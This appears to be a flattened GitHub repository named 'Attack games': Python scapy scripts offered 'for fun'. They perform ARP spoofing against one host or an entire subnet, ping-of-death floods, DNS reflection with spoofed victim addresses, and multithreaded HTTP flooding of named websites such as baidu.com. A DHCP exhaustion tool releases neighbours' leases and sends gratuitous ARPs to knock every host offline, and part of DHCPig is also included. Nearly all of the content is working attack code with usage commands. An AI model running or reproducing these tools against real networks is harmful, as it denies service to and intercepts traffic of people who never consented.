├── __init__.py ├── attack_sdnlab.py ├── ping_of_death.py ├── get_all_host_in_local_network.py ├── arp_attack.py ├── arp_attack_all_hosts.py ├── ping_attack_all_hosts.py ├── get_host_ip.py ├── .gitignore ├── dns_attack.py ├── util.py ├── README.md ├── crawer_thread_pool.py ├── dhcp_attack.py └── dhcpig.py /__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /attack_sdnlab.py: -------------------------------------------------------------------------------- 1 | import urllib2, urllib, re 2 | 3 | i=100 4 | url = "http://www.sdnlab.com" 5 | 6 | while i>0: 7 | page_data = urllib2.urlopen(url) 8 | print "the %s time to get sdnlab.com" %i 9 | i -= 1 10 | 11 | 12 | -------------------------------------------------------------------------------- /ping_of_death.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | from scapy.all import * 4 | 5 | def PingofDeath(tarket): 6 | send( fragment(IP(dst=tarket)/ICMP()/("X"*60000)) ) 7 | if __name__ == "__main__": 8 | target = sys.argv[1] 9 | PingofDeath(target) 10 | -------------------------------------------------------------------------------- /get_all_host_in_local_network.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python 2 | import sys 3 | import nmap 4 | 5 | 6 | def get_all_host_in_local_network(hosts): 7 | nm = nmap.PortScanner() 8 | nm.scan(hosts=hosts, arguments='-p 161 -sU ') 9 | 10 | hosts_list = [x for x in nm.all_hosts()] 11 | return hosts_list 12 | 13 | if __name__ == '__main__': 14 | hosts = get_all_host_in_local_network(sys.argv[1]) 15 | print hosts 16 | -------------------------------------------------------------------------------- /arp_attack.py: -------------------------------------------------------------------------------- 1 | import time 2 | import sys 3 | from scapy.all import * 4 | 5 | 6 | def ARPAttack(tacket, mac='78:45:c4:3b:b9:55', gateway='10.103.90.1'): 7 | request = 1 8 | victim = target 9 | mac = mac 10 | arp = ARP(op=request, psrc=gateway, pdst=victim, hwsrc=mac) 11 | while True: 12 | send(arp) 13 | time.sleep(.01) 14 | 15 | if __name__ == "__main__": 16 | target = sys.argv[1] 17 | ARPAttack(target) 18 | -------------------------------------------------------------------------------- /arp_attack_all_hosts.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from scapy.all import * 3 | import util 4 | 5 | 6 | def ARPAttack(ipprefix, mask_len, mac='2b:b2:2b:b2:12:34'): 7 | # [Important!]skip the gateway and host itself. 8 | victim_list = util.get_victim_in_local_network(ipprefix, mask_len) 9 | gateway = util.int_to_ip(util.ip_to_int(ipprefix)+1) 10 | request = 1 11 | while True: 12 | for victim in victim_list: 13 | arp = ARP(op=request, psrc=gateway, pdst=victim, hwsrc=mac) 14 | send(arp) 15 | 16 | if __name__ == "__main__": 17 | ARPAttack(sys.argv[1], sys.argv[2]) 18 | -------------------------------------------------------------------------------- /ping_attack_all_hosts.py: -------------------------------------------------------------------------------- 1 | import util 2 | import sys 3 | import ping_of_death 4 | from scapy.all import * 5 | 6 | 7 | def ping_attack_all_host(ipprefix, mask_len, mac='2b:b2:2b:b2:12:34'): 8 | # [Important!]skip the gateway and host itself. 9 | victim_list = util.get_victim_in_local_network(ipprefix, mask_len) 10 | # print victim_list 11 | 12 | request = 1 13 | while True: 14 | for victim in victim_list: 15 | ping_of_death.PingofDeath(victim) 16 | print victim 17 | 18 | 19 | if __name__ == "__main__": 20 | ping_attack_all_host(sys.argv[1], sys.argv[2]) 21 | -------------------------------------------------------------------------------- /get_host_ip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | 4 | 5 | def get_my_ip(): 6 | """ 7 | Returns the actual ip of the local machine. 8 | This code figures out what source address would be used if some traffic 9 | were to be sent out to some well known address on the Internet. In this 10 | case, a Google DNS server is used, but the specific address does not 11 | matter much. No traffic is actually sent. 12 | """ 13 | try: 14 | csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 15 | csock.connect(('8.8.8.8', 80)) 16 | (addr, port) = csock.getsockname() 17 | csock.close() 18 | return addr 19 | except socket.error: 20 | return "127.0.0.1" 21 | 22 | if __name__ == "__main__": 23 | host_ip = get_my_ip() 24 | print host_ip 25 | return host_ip 26 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | led / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | lib/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | *.egg-info/ 22 | .installed.cfg 23 | *.egg 24 | 25 | # PyInstaller 26 | # Usually these files are written by a python script from a template 27 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 28 | *.manifest 29 | *.spec 30 | 31 | # Installer logs 32 | pip-log.txt 33 | pip-delete-this-directory.txt 34 | 35 | # Unit test / coverage reports 36 | htmlcov/ 37 | .tox/ 38 | .coverage 39 | .cache 40 | nosetests.xml 41 | coverage.xml 42 | 43 | # Translations 44 | *.mo 45 | *.pot 46 | 47 | # Django stuff: 48 | *.log 49 | 50 | # Sphinx documentation 51 | docs/_build/ 52 | 53 | # PyBuilder 54 | target/ 55 | 56 | -------------------------------------------------------------------------------- /dns_attack.py: -------------------------------------------------------------------------------- 1 | from scapy import * 2 | from scapy.all import * 3 | import util 4 | 5 | 6 | def dns_attack(victim): 7 | while True: 8 | ip = IP(dst='8.8.8.8', src=victim) 9 | udp = UDP(dport=53) 10 | dns = DNS(id=1, qr=0, opcode=0, tc=0, rd=1, qdcount=1, ancount=0, 11 | nscount=0, arcount=0) 12 | dns.qd = DNSQR(qname='http://isc.org/', qtype=1, qclass=1) 13 | p = ip/udp/dns 14 | send(p) 15 | 16 | 17 | def dns_attack_all_hosts(ipprefix, mask_len, mac='2b:b2:2b:b2:12:34'): 18 | victim_list = util.get_victim_in_local_network(ipprefix, mask_len) 19 | 20 | while True: 21 | for victim in victim_list: 22 | ip = IP(dst='8.8.8.8', src=victim) 23 | udp = UDP(dport=53) 24 | dns = DNS(id=1, qr=0, opcode=0, tc=0, rd=1, qdcount=1, ancount=0, 25 | nscount=0, arcount=0) 26 | dns.qd = DNSQR(qname='www.qq.com', qtype=1, qclass=1) 27 | p = ip/udp/dns 28 | send(p) 29 | 30 | 31 | if __name__ == "__main__": 32 | #dns_attack_all_host(sys.argv[1], sys.argv[2]) 33 | dns_attack(sys.argv[1]) 34 | -------------------------------------------------------------------------------- /util.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import nmap 4 | 5 | 6 | def get_victim_in_local_network(ipprefix, mask_len): 7 | gateway = int_to_ip(ip_to_int(ipprefix)+1) 8 | victim_list = get_all_host_in_local_network(ipprefix, mask_len) 9 | victim_list.remove(get_my_ip()) 10 | victim_list.remove(gateway) 11 | return victim_list 12 | 13 | 14 | def get_all_host_in_local_network(ipprefix, mask_len): 15 | hosts = ipprefix + '/' + mask_len 16 | nm = nmap.PortScanner() 17 | nm.scan(hosts=hosts, arguments='-p 161 -sU ') 18 | hosts_list = [x for x in nm.all_hosts()] 19 | return hosts_list 20 | 21 | 22 | def get_my_ip(): 23 | try: 24 | csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 25 | csock.connect(('8.8.8.8', 80)) 26 | (addr, port) = csock.getsockname() 27 | csock.close() 28 | return addr 29 | except socket.error: 30 | return "127.0.0.1" 31 | 32 | 33 | def int_to_ip(int_ip): 34 | return socket.inet_ntoa(struct.pack('I', socket.htonl(int_ip))) 35 | 36 | 37 | def ip_to_int(ip): 38 | return socket.ntohl(struct.unpack("I", socket.inet_aton(str(ip)))[0]) 39 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #Attack games 2 | 3 | These are some easy network attack examples implemented by scapy. Just play for fun. 4 | 5 | ### arp\_attack 6 | 7 | Attack a specific target by sending ARP packet with fake gateway information. 8 | 9 | Parameter: target IP 10 | 11 | Usage: 12 | 13 | sudo python arp_attack.py 192.168.0.3 14 | 15 | ### arp\_attack\_all\_hosts 16 | 17 | Attack all targets in local network by sending ARP packet with fake gateway information. 18 | 19 | Parameter: ipprefix, mask length 20 | 21 | Usage: 22 | 23 | sudo python arp_attack_all_hosts.py 192.168.3.0, 24 24 | 25 | ### dnsAttack 26 | 27 | Fake DNS attacking. 28 | 29 | Parameter: None 30 | 31 | Usage: 32 | 33 | sudo python dnsAttack.py 34 | 35 | ### crawer\_thread\_pool 36 | DoS Attack: Start multiple threads to get resources from target website to raise the delay of answering requests. 37 | 38 | Parameter: number of thread, target url 39 | 40 | Usage: 41 | 42 | sudo python crawer_thread_pool.py 10 http://www.baidu.com 43 | 44 | ### ping\_of\_death 45 | Send a overlength ICMP packet to target host to crash down the target system. Actually, most system can defend this attack. 46 | 47 | Parameter: target IP 48 | 49 | Usage: 50 | 51 | sudo python ping_of_death 192.168.0.3 52 | 53 | Enjoy it. 54 | -------------------------------------------------------------------------------- /crawer_thread_pool.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | import Queue 4 | import sys 5 | import requests 6 | import os 7 | import threading 8 | import time 9 | 10 | 11 | class Worker(threading.Thread): 12 | def __init__(self, workQueue, resultQueue, **kwds): 13 | threading.Thread.__init__(self, **kwds) 14 | self.setDaemon(True) 15 | self.workQueue = workQueue 16 | self.resultQueue = resultQueue 17 | 18 | def run(self): 19 | while 1: 20 | try: 21 | callable, args, kwds = self.workQueue.get(False) # get task 22 | res = callable(*args, **kwds) 23 | self.resultQueue.put(res) # put result 24 | except Queue.Empty: 25 | break 26 | 27 | 28 | class WorkManager: 29 | def __init__(self, num_of_workers=10): 30 | self.workQueue = Queue.Queue() 31 | self.resultQueue = Queue.Queue() 32 | self.workers = [] 33 | self._recruitThreads(num_of_workers) 34 | 35 | def _recruitThreads(self, num_of_workers): 36 | for i in range(num_of_workers): 37 | worker = Worker(self.workQueue, self.resultQueue) 38 | self.workers.append(worker) 39 | 40 | def start(self): 41 | for w in self.workers: 42 | w.start() 43 | 44 | def wait_for_complete(self): 45 | while len(self.workers): 46 | worker = self.workers.pop() 47 | worker.join() 48 | if worker.isAlive() and not self.workQueue.empty(): 49 | self.workers.append(worker) 50 | print 'All jobs were complete.' 51 | 52 | def add_job(self, callable, *args, **kwds): 53 | self.workQueue.put((callable, args, kwds)) 54 | 55 | def get_result(self, *args, **kwds): 56 | return self.resultQueue.get(*args, **kwds) 57 | 58 | 59 | def download_file(url): 60 | requests.get(url).text 61 | 62 | 63 | def main(): 64 | try: 65 | num_of_threads = int(sys.argv[1]) 66 | urls = [sys.argv[2]] * 2000 67 | except: 68 | num_of_threads = 4 69 | urls = ['www.baidu.com'] * 2000 70 | 71 | _st = time.time() 72 | 73 | wm = WorkManager(num_of_threads) 74 | for i in urls: 75 | wm.add_job(download_file, i) 76 | wm.start() 77 | wm.wait_for_complete() 78 | print time.time() - _st 79 | 80 | if __name__ == '__main__': 81 | main() 82 | -------------------------------------------------------------------------------- /dhcp_attack.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | DHCP exhaustion attack plus. 6 | 7 | Usage: 8 | dhcp_attack.py [-d -h] 9 | """ 10 | from scapy.all import * 11 | import string 12 | import binascii 13 | import signal 14 | import sys 15 | import threading 16 | import socket 17 | import struct 18 | import getopt 19 | 20 | 21 | conf.checkIPaddr = False 22 | interface = "lo" 23 | verbose = False 24 | Debug = False 25 | 26 | 27 | def checkArgs(): 28 | global Field, Value 29 | try: 30 | opts, args = getopt.getopt(sys.argv[1:], "hd") 31 | except getopt.GetoptError, err: 32 | # print help information and exit: 33 | print str(err) # will print something like "option -a not recognized" 34 | usage() 35 | sys.exit(2) 36 | for o, a in opts: 37 | if o in ("-d,--debug"): 38 | global verbose 39 | verbose = True 40 | elif o in ("-h", "--help"): 41 | usage() 42 | sys.exit() 43 | else: 44 | assert False, "unhandled option" 45 | if len(args) == 1: 46 | global interface 47 | interface = args[0] 48 | else: 49 | usage() 50 | sys.exit(2) 51 | 52 | 53 | def signal_handler(signal, frame): 54 | print 'Exit' 55 | t1.kill_received = True 56 | t2.kill_received = True 57 | sys.exit(0) 58 | 59 | 60 | ###################################### 61 | # Necessary Network functions not included in scapy 62 | # 63 | def randomMAC(): 64 | mac = [0x00, 0x0c, 0x29, 65 | random.randint(0x00, 0x7f), 66 | random.randint(0x00, 0xff), 67 | random.randint(0x00, 0xff)] 68 | return ':'.join(map(lambda x: "%02x" % x, mac)) 69 | 70 | 71 | def toNum(ip): 72 | "convert decimal dotted quad string to long integer" 73 | return struct.unpack('L', socket.inet_aton(ip))[0] 74 | 75 | 76 | def get_ip(ifname): 77 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 78 | return socket.inet_ntoa(fcntl.ioctl( 79 | s.fileno(), 80 | 0x8915, # SIOCGIFADDR 81 | struct.pack('256s', ifname[:15]) 82 | )[20:24]) 83 | 84 | 85 | def get_if_net(iff): 86 | for net, msk, gw, iface, addr in read_routes(): 87 | if (iff == iface and net != 0L): 88 | return ltoa(net) 89 | warning("No net address found for iface %s\n" % iff); 90 | 91 | 92 | def get_if_ip(iff): 93 | for net, msk, gw, iface, addr in read_routes(): 94 | if (iff == iface and net != 0L): 95 | return addr 96 | warning("No net address found for iface %s\n" % iff); 97 | 98 | 99 | def calcCIDR(mask): 100 | mask = mask.split('.') 101 | bits = [] 102 | for c in mask: 103 | bits.append(bin(int(c))) 104 | bits = ''.join(bits) 105 | cidr = 0 106 | for c in bits: 107 | if c == '1': cidr += 1 108 | return str(cidr) 109 | 110 | 111 | def unpackMAC(binmac): 112 | mac=binascii.hexlify(binmac)[0:12] 113 | blocks = [mac[x:x+2] for x in xrange(0, len(mac), 2)] 114 | return ':'.join(blocks) 115 | 116 | 117 | ########################################################## 118 | # 119 | # ARP and create map of LAN neighbors 120 | # 121 | 122 | 123 | def neighbors(): 124 | global dhcpsip,subnet,nodes 125 | nodes={} 126 | m=randomMAC() 127 | net=dhcpsip+"/"+calcCIDR(subnet) 128 | ans,unans = srp(Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net,psrc=dhcpsip), timeout=8, 129 | filter="arp and arp[7] = 2") 130 | for request,reply in ans: 131 | nodes[reply.hwsrc]=reply.psrc 132 | print "%15s - %s " % (reply.psrc, reply.hwsrc) 133 | 134 | # 135 | # send release for our neighbors 136 | # 137 | def release(): 138 | global dhcpsmac,dhcpsip,nodes 139 | print "*** Sending DHCPRELEASE for neighbors " 140 | myxid=random.randint(1, 900000000) 141 | # 142 | #iterate over all ndoes and release their IP from DHCP server 143 | for cmac,cip in nodes.iteritems(): 144 | dhcp_release = Ether(src=cmac,dst=dhcpsmac)/IP(src=cip,dst=dhcpsip)/UDP(sport=68,dport=67)/BOOTP(ciaddr=cip,chaddr=[mac2str(cmac)],xid=myxid,)/DHCP(options=[("message-type","release"),("server_id",dhcpsip),("client_id",chr(1),mac2str(cmac)),"end"]) 145 | sendp(dhcp_release,verbose=0,iface=interface) 146 | print "Releasing %s - %s"%(cmac,cip) 147 | if verbose: print "%r"%dhcp_release 148 | 149 | # 150 | #now knock everyone offline 151 | # 152 | def garp(): 153 | global dhcpsip,subnet 154 | pool=Net(dhcpsip+"/"+calcCIDR(subnet)) 155 | for ip in pool: 156 | m=randomMAC() 157 | arpp = Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc=m,psrc=ip,hwdst="00:00:00:00:00:00",pdst=ip) 158 | sendp(arpp,verbose=0,iface=interface) 159 | print "Knocking %s offline, goodbye"%ip 160 | if verbose: print "%r"%arpp 161 | 162 | # 163 | # loop and send Discovers 164 | # 165 | class send_dhcp(threading.Thread): 166 | def __init__ (self): 167 | threading.Thread.__init__(self) 168 | self.kill_received = False 169 | 170 | def run(self): 171 | global timer,dhcpdos 172 | while not self.kill_received and not dhcpdos: 173 | m=randomMAC() 174 | myxid=random.randint(1, 900000000) 175 | hostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8)) 176 | dhcp_discover = Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(m)],xid=myxid)/DHCP(options=[("message-type","discover"),("hostname",hostname),"end"]) 177 | print "\n\n\nSending DHCPDISCOVER on " + interface 178 | sendp(dhcp_discover,verbose=0,iface=interface) 179 | time.sleep(timer) 180 | 181 | # 182 | # 183 | # sniff DHCP Offers and ACK 184 | # 185 | class sniff_dhcp(threading.Thread): 186 | def __init__ (self): 187 | threading.Thread.__init__(self) 188 | self.filter = "icmp or (udp and src port 67 and dst port 68)" 189 | self.kill_received = False 190 | self.dhcpcount=0 191 | 192 | def run(self): 193 | global dhcpdos 194 | while not self.kill_received and not dhcpdos: 195 | sniff(filter=self.filter,prn=self.detect_dhcp,store=0,timeout=3,iface=interface) 196 | print "timeout waiting on dhcp packet count %d"%self.dhcpcount 197 | self.dhcpcount+=1 198 | if self.dhcpcount==5: dhcpdos=True 199 | 200 | def detect_dhcp(self,pkt): 201 | global dhcpsmac,dhcpsip,subnet 202 | if DHCP in pkt: 203 | if pkt[DHCP] and pkt[DHCP].options[0][1] == 2: 204 | self.dhcpcount=0 205 | dhcpsip = pkt[IP].src 206 | dhcpsmac = pkt[Ether].src 207 | for opt in pkt[DHCP].options: 208 | if opt[0] == 'subnet_mask': 209 | subnet=opt[1] 210 | break 211 | 212 | myip=pkt[BOOTP].yiaddr 213 | sip=pkt[BOOTP].siaddr 214 | localxid=pkt[BOOTP].xid 215 | localm=unpackMAC(pkt[BOOTP].chaddr) 216 | myhostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8)) 217 | 218 | print("DHCPOFFER handing out IP: "+myip) 219 | if verbose: print("DHCPOFFER detected from " + pkt[Ether].src,sip + " on " + interface + ", handing out IP: "+myip) 220 | 221 | dhcp_req = Ether(src=localm,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(localm)],xid=localxid)/DHCP(options=[("message-type","request"),("server_id",sip),("requested_addr",myip),("hostname",myhostname),("param_req_list","pad"),"end"]) 222 | sendp(dhcp_req,verbose=0,iface=interface) 223 | print "sent DHCP Request for "+myip 224 | elif ICMP in pkt: 225 | if pkt[ICMP].type==8: 226 | myip=pkt[IP].dst 227 | mydst=pkt[IP].src 228 | print "ICMP request from " + mydst + " for " + myip + " on " + interface 229 | icmp_req=Ether(src=randomMAC(),dst=pkt.src)/IP(src=myip,dst=mydst)/ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)/"12345678912345678912" 230 | if verbose: print "%r"%icmp_req 231 | #sendp(icmp_req,verbose=0,iface=interface) 232 | #print "ICMP response from "+myip+" to "+mydst 233 | 234 | 235 | # 236 | # 237 | # MAIN() 238 | # 239 | def main(args): 240 | checkArgs() 241 | signal.signal(signal.SIGINT, signal_handler) 242 | global t1,t2,t3,dhcpdos,dhcpsip,dhcpmac,subnet,nodes,timer 243 | dhcpsip=None 244 | dhcpsmac=None 245 | subnet=None 246 | nodes={} 247 | dhcpdos=False 248 | timer=1 249 | 250 | t1=sniff_dhcp() 251 | t1.start() 252 | 253 | t2=send_dhcp() 254 | t2.start() 255 | 256 | while dhcpsip==None: 257 | time.sleep(1) 258 | print "waiting for first DHCP Server response on " + interface 259 | 260 | neighbors() 261 | release() 262 | 263 | while not dhcpdos: 264 | time.sleep(5) 265 | print "waiting for DOS" 266 | 267 | print "DHCP Exhausted, knock all remaining hosts offline" 268 | time.sleep(10) 269 | garp() 270 | print "All done" 271 | 272 | def usage(): 273 | print __doc__ 274 | 275 | if __name__ == '__main__': 276 | sys.exit(not main(sys.argv)) 277 | 278 | 279 | 280 | -------------------------------------------------------------------------------- /dhcpig.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | enhanced DHCP exhaustion attack. 5 | 6 | Doc: 7 | http://github.com/kamorin/DHCPig 8 | 9 | 10 | Usage: 11 | pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] 12 | 13 | Options: 14 | -h, --help <-- you are here :) 15 | -v, --verbosity ... 0 ... no (3) 16 | 1 ... minimal 17 | 10 ... default 18 | 99 ... debug 19 | 20 | -6, --ipv6 ... DHCPv6 (off, DHCPv4 by default) 21 | -1, --v6-rapid-commit ... enable RapidCommit (2way ip assignment instead of 4way) (off) 22 | 23 | -s, --client-src ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: ) 24 | -O, --request-options ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80) 25 | 26 | -f, --fuzz ... randomly fuzz packets (off) 27 | 28 | -t, --threads ... number of sending threads (1) 29 | 30 | -a, --show-arp ... detect/print arp who_has (off) 31 | -i, --show-icmp ... detect/print icmps requests (off) 32 | -o, --show-options ... print lease infos (off) 33 | -l, --show-lease-confirm ... detect/print dhcp replies (off) 34 | 35 | -g, --neighbors-attack-garp ... knock off network segment using gratious arps (off) 36 | -r, --neighbors-attack-release ... release all neighbor ips (off) 37 | -n, --neighbors-scan-arp ... arp neighbor scan (off) 38 | 39 | -x, --timeout-threads ... thread spawn timer (0.4) 40 | -y, --timeout-dos ... DOS timeout (8) (wait time to mass grat.arp) 41 | -z, --timeout-dhcprequest ... dhcp request timeout (2) 42 | 43 | -c, --color ... enable color output (off) 44 | """ 45 | 46 | class Colors: 47 | class Palette: 48 | ''' 49 | dummy, as python 2.5 does not support namedtuples 50 | ''' 51 | black = None 52 | red = None 53 | green = None 54 | yellow = None 55 | blue = None 56 | purple = None 57 | cyan = None 58 | grey = None 59 | #forecolor 60 | endc = "\033[0m" 61 | black = "\033[30m" 62 | red = "\033[31m" 63 | green = "\033[32m" 64 | yellow ="\033[33m" 65 | blue = "\033[34m" 66 | purple ="\033[35m" 67 | cyan = "\033[36m" 68 | grey = "\033[37m" 69 | #back color 70 | background = Palette 71 | background.black = "\033[40m" 72 | background.red = "\033[41m" 73 | background.green = "\033[42m" 74 | background.yellow = "\033[43m" 75 | background.blue = "\033[44m" 76 | background.purple = "\033[45m" 77 | background.cyan = "\033[46m" 78 | background.grey = "\033[47m" 79 | 80 | #attribs 81 | bold = "\033[1m" 82 | underline = "\033[4m" 83 | blink = "\033[5m" 84 | invert = "\033[7m" 85 | 86 | from scapy.all import * 87 | import string,binascii,signal,sys,threading,socket,struct,getopt 88 | from sys import stdout 89 | 90 | ''' 91 | Defaults 92 | ''' 93 | conf.checkIPaddr = False 94 | conf.iface = "lo" 95 | conf.verb = False 96 | SHOW_ARP = False 97 | SHOW_ICMP = False 98 | SHOW_DHCPOPTIONS = False 99 | SHOW_LEASE_CONFIRM = False 100 | MODE_IPv6 = False 101 | MODE_FUZZ = False 102 | DO_GARP = False 103 | DO_RELEASE = False 104 | DO_ARP = False 105 | MAC_LIST = [] 106 | TIMEOUT={} 107 | TIMEOUT['dos']=8 108 | TIMEOUT['dhcpip']=2 109 | TIMEOUT['timer']=0.4 110 | DO_COLOR = False 111 | COLORSCHEME = {'<--':Colors.green+"%s"+Colors.endc, 112 | '<-':Colors.blue+"%s"+Colors.endc, 113 | '->':Colors.cyan+"%s"+Colors.endc, 114 | '-->':Colors.grey+"%s"+Colors.endc, 115 | '?':Colors.yellow+"%s"+Colors.endc, 116 | 'DEBUG':Colors.purple+"%s"+Colors.endc, 117 | 'NOTICE': Colors.bold+Colors.red+"%s"+Colors.endc, 118 | 'ERROR': Colors.bold+Colors.red+"%s"+Colors.endc, 119 | 'WARNING': Colors.bold+Colors.yellow+"%s"+Colors.endc, 120 | None:'%s'} 121 | MSGSCHEME = {'<--' :"[<---] %s", # inbound 122 | '-->' :"[--->] %s", # outpund 123 | '->' :"[ -> ] %s", # icmp / arp out 124 | '<-' :"[ <- ] %s", # icmp / arp in 125 | '?' :"[ ?? ] %s", 126 | 'DEBUG' :"[DBG ] %s", 127 | 'NOTICE' :"[ -- ] %s", 128 | 'WARNING' :"[ !! ] %s", 129 | 'ERROR' :"[XXXX] %s", 130 | } 131 | MSGSCHEME_MIN = {'<--' :"!", 132 | '-->' :".", 133 | '->' :":", 134 | '<-' :";", 135 | '?' :"?", 136 | 'DEBUG' :"D", 137 | 'NOTICE' :"N", 138 | 'WARNING' :"W", 139 | 'ERROR' :"E", 140 | } 141 | DO_v6_RC = False 142 | VERBOSITY = 3 143 | THREAD_CNT = 1 144 | THREAD_POOL = [] 145 | REQUEST_OPTS = range(80) 146 | 147 | def checkArgs(): 148 | global SHOW_ARP ,SHOW_ICMP, SHOW_DHCPOPTIONS, TIMEOUT, MODE_IPv6, MODE_FUZZ, DO_ARP, DO_GARP, DO_RELEASE, MAC_LIST, DO_COLOR,DO_v6_RC, VERBOSITY,THREAD_CNT,SHOW_LEASE_CONFIRM,REQUEST_OPTS 149 | try: 150 | opts, args = getopt.getopt(sys.argv[1:], "haiolx:y:z:6fgrns:c1v:t:O:", ["help","show-arp","show-icmp", 151 | "show-options","timeout-threads=","timeout-dos=", 152 | "timeout-dhcprequest=", "neighbors-scan-arp", 153 | "neighbors-attack-release", "neighbors-attack-garp", 154 | "fuzz","ipv6","client-src=","color","v6-rapid-commit", 155 | "verbosity=","threads=", "show-lease-confirm","request-options="]) 156 | except getopt.GetoptError, err: 157 | # print help information and exit: 158 | print str(err) # will print something like "option -a not recognized" 159 | usage() 160 | sys.exit(2) 161 | for o,a in opts: 162 | if o in ("-h", "--help"): 163 | usage() 164 | sys.exit() 165 | elif o in ("-a", "--show-arp"): 166 | SHOW_ARP = True 167 | elif o in ("-i", "--show-icmp"): 168 | SHOW_ICMP = True 169 | elif o in ("-o", "--show-options"): 170 | SHOW_DHCPOPTIONS=True 171 | elif o in ("-l", "--show-lease-confirm"): 172 | SHOW_LEASE_CONFIRM=True 173 | elif o in ("-x", "--timeout-threads"): 174 | TIMEOUT['timer']=float(a) 175 | elif o in ("-y", "--timeout-dos"): 176 | TIMEOUT['dos']=float(a) 177 | elif o in ("-z", "--timeout-dhcprequest"): 178 | TIMEOUT['dhcpip']=float(a) 179 | elif o in ("-6", "--ipv6"): 180 | MODE_IPv6=True 181 | elif o in ("-f", "--fuzz"): 182 | MODE_FUZZ=True 183 | elif o in ("-g", "--neighbors-attack-garp"): 184 | DO_GARP=True 185 | elif o in ("-r", "--neighbors-attack-release"): 186 | DO_RELEASE=True 187 | elif o in ("-n", "--neighbors-scan-arp"): 188 | DO_ARP=True 189 | elif o in ("-s", "--client-src"): 190 | MAC_LIST=a.strip().split(",") 191 | elif o in ("-c", "--color"): 192 | DO_COLOR=True 193 | elif o in ("-1", "--v6-rapid-commit"): 194 | DO_v6_RC=True 195 | elif o in ("-v", "--verbosity"): 196 | VERBOSITY=int(a) 197 | if VERBOSITY>=99: 198 | conf.verb = True 199 | elif o in ("-t", "--threads"): 200 | THREAD_CNT = int(a) 201 | elif o in ("-O", "--request-options"): 202 | REQUEST_OPTS=[] 203 | for o in a.split(","): 204 | if "-" in o: 205 | x = o.split("-") 206 | if len(x)==2: 207 | REQUEST_OPTS+=range(int(x[0]),int(x[1])) 208 | else: 209 | print "Error in option - request-options" 210 | usage() 211 | exit() 212 | else: 213 | REQUEST_OPTS.append(int(o)) 214 | #REQUEST_OPTS = [int(o) for o in REQUEST_OPTS] 215 | else: 216 | assert False, "unhandled option" 217 | if len(args)==1: 218 | conf.iface=args[0] 219 | else: 220 | usage() 221 | sys.exit(2) 222 | 223 | if conf.verb: 224 | print """---------------------[OPTIONS]----------- 225 | IPv6 %s 226 | fuzz %s 227 | 228 | SHOW_ARP %s 229 | SHOW_ICMP %s 230 | SHOW_DHCPOPTIONS %s 231 | SHOW_LEASE_CONFIRMATION %s 232 | 233 | REQUEST_DHCP_Options %s 234 | 235 | timeout-threads %s 236 | timeout-dos %s 237 | timeout-dhcprequest %s 238 | 239 | neighbors-attack-garp %s 240 | neighbors-attack-release %s 241 | neighbors-scan-arp %s 242 | 243 | neighbors-scan-arp %s 244 | 245 | color %s 246 | ----------------------------------------- 247 | """%(MODE_IPv6,MODE_FUZZ,SHOW_ARP,SHOW_ICMP,SHOW_DHCPOPTIONS,SHOW_LEASE_CONFIRM,repr(REQUEST_OPTS), 248 | TIMEOUT['timer'],TIMEOUT['dos'],TIMEOUT['dhcpip'], 249 | DO_GARP,DO_RELEASE,DO_ARP,repr(MAC_LIST),DO_COLOR) 250 | 251 | 252 | def LOG(message=None,type=None): 253 | if VERBOSITY<=0: 254 | return 255 | elif VERBOSITY==1: 256 | #minimal verbosity ... dot style output 257 | if type in MSGSCHEME_MIN: 258 | message = MSGSCHEME_MIN[type] 259 | if DO_COLOR and type in COLORSCHEME: 260 | message = COLORSCHEME[type]%message 261 | stdout.write("%s"%message) 262 | stdout.flush() 263 | else: 264 | if type in MSGSCHEME: 265 | message = MSGSCHEME[type]%message 266 | if DO_COLOR and type in COLORSCHEME: 267 | message = COLORSCHEME[type]%message 268 | if MODE_FUZZ: 269 | stdout.write("[FUZZ] %s\n"% (message)) 270 | else: 271 | stdout.write("%s\n"% (message)) 272 | stdout.flush() 273 | 274 | def signal_handler(signal, frame): 275 | LOG(type="NOTICE", message= ' ----- ABORT ... -----') 276 | i = 0 277 | for t in THREAD_POOL: 278 | t.kill_received = True 279 | LOG(type="DEBUG", message= 'Waiting for Thread %d to die ...'%i) 280 | i+=1 281 | #t1.kill_received = True 282 | #t2.kill_received = True 283 | sys.exit(0) 284 | 285 | ###################################### 286 | # Necessary Network functions not included in scapy 287 | # 288 